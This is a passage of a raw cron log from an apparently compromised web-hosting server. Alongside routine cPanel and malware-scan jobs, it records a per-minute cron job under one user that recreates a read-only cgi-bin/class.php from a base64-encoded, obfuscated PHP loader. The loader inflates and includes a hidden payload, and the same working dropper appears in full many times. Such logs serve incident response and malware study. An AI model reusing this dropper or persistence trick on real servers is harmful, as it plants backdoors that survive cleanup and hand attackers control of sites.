C5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:59:01 server CROND[12716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:00:01 server CROND[12782]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 22:00:01 server CROND[12784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 22:00:01 server CROND[12783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 22:00:01 server CROND[12789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:00:01 server CROND[12787]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  8 22:01:01 server CROND[12915]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 22:01:01 server CROND[12916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:01:01 server run-parts(/etc/cron.hourly)[12915]: starting 0anacron
Apr  8 22:01:01 server run-parts(/etc/cron.hourly)[12928]: finished 0anacron
Apr  8 22:02:01 server CROND[13098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:03:01 server CROND[13207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:04:01 server CROND[13294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:05:01 server CROND[13369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:05:01 server CROND[13370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 22:05:01 server CROND[13371]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 22:05:01 server CROND[13372]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 22:06:01 server CROND[13532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:07:01 server CROND[13712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:08:01 server CROND[13797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:09:01 server CROND[13901]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 22:09:01 server CROND[13902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:10:01 server CROND[14014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:10:01 server CROND[14016]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 22:10:01 server CROND[14007]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 22:10:01 server CROND[14019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 22:11:01 server CROND[14187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:12:01 server CROND[14334]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 22:12:01 server CROND[14335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 